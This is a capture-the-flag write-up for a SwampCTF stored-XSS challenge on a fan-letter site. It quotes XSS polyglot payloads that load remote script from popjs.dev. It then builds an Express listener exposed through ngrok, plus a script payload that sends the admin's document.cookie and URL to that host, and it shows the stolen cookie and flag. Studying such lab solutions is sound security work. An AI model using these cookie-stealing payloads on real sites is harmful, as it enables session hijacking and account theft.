CTF Description

Background

This was one of the mid-range CTF challenges in this year’s SwampCTF (The first CTF I ever took part in, back in 2023).

The rundown is someone has made a Nicole Scherzinger fan page.

“Sunset Boulevard on Broadway Celebrating the extraordinary talent of Nicole Scherzinger as Norma Desmond in Andrew Lloyd Webber’s masterpiece.”

Website

Our job is to get the flag on the admin dashboard.

As a bonus, we’re given a hint. https://artoo.love/. Making an account we can see a couple payloads.

First Screen

<svg onload="import('//popjs.dev/hoIji')"></svg>
<script src='//popjs.dev/hoIji'></script>
jaVasCript:/*-/*`/*\`/*'/*"/*%0A%0a*/(/* */oNcliCk="import('//popjs.dev/hoIji')" )//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3ciframe/<iframe/oNloAd="import('//popjs.dev/hoIji')"//>\x3e

Part 1 - Using Frieza XSS Hunter

Pretty Cool Dashboard Dashboard

After submitting a malicious fan letter, we indeed now know that it is vulnerable to XSS. Looking at the handy screenshot we can see: Last XSS Example

I decided to try out another one of their examples. And you can see someone trying some kind of template injection at the same time as me. XSS and Template Injection

Finally, checking out “View Data”, we can see the flag in the cookie. Using Theirs

But you see there is a twist to this success… Paywall

A paywall! Oh no, what will we do!?

Funnily enough I did this next part first before realising the flag was here the whole time, just because I thought I had used all my requests and had to pay…

Part 2 - Let’s make it for free!

I created this quick and simple server with Node.js and Express

const express = require("express");
const bodyParser = require("body-parser");
const app = express();
const port = 3000;

app.use(bodyParser.json());

app.post("/", (req, res) => {
  console.log("URL:", req.body.url);
  console.log("Cookie:", req.body.cookie);
  res.status(200);
});

app.listen(port, () => {
  console.log(`Server is listening on http://localhost:${port}`);
});
node server.js
Server is listening on http://localhost:3000

and testing it out, it worked perfectly!

curl https://localhost:3000/ –request POST -H “Content-Type: application/json” –data '{"url":"url","cookie":"cookie"}'
Server is listening on http://localhost:3000
URL: url
Cookie: cookie

Great, localhost works, but how can I make this server accessible without paying for a service?

Introducing ngrok! It’s free and super easy to use.

It’s as easy as making a free account, getting your token, and typing:

ngrok http 3000

And just like that, my localhost:3000 server is able to be accessed by anyone through my ngrok link.

https://dfae-58-104-30-22.ngrok-free.app

Now it’s time for the XSS payload.

I made a simple XMLHttpRequest to send the document.cookie and window.location.href to my desired server.

(https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)

<script>
  var request = new XMLHttpRequest();
  request.open("POST", "https://dfae-58-104-30-22.ngrok-free.app", true);
  request.setRequestHeader("Content-Type", "application/json");
  request.send(
    JSON.stringify({
      cookie: document.cookie,
      url: window.location.href,
    })
  );
</script>

Testing it in the fan letter submission, we wait and… Payload

Bingo! Final

URL: http://172.30.0.2:3000/admin/dashboard
Cookie: admin-auth=authenticated; swampCTF=swampCTF{THIS_MUSICAL_WAS_REVOLUTIONARY_BUT_ALSO_KIND_OF_A_SNOOZE_FEST}

FLAG

swampCTF{THIS_MUSICAL_WAS_REVOLUTIONARY_BUT_ALSO_KIND_OF_A_SNOOZE_FEST}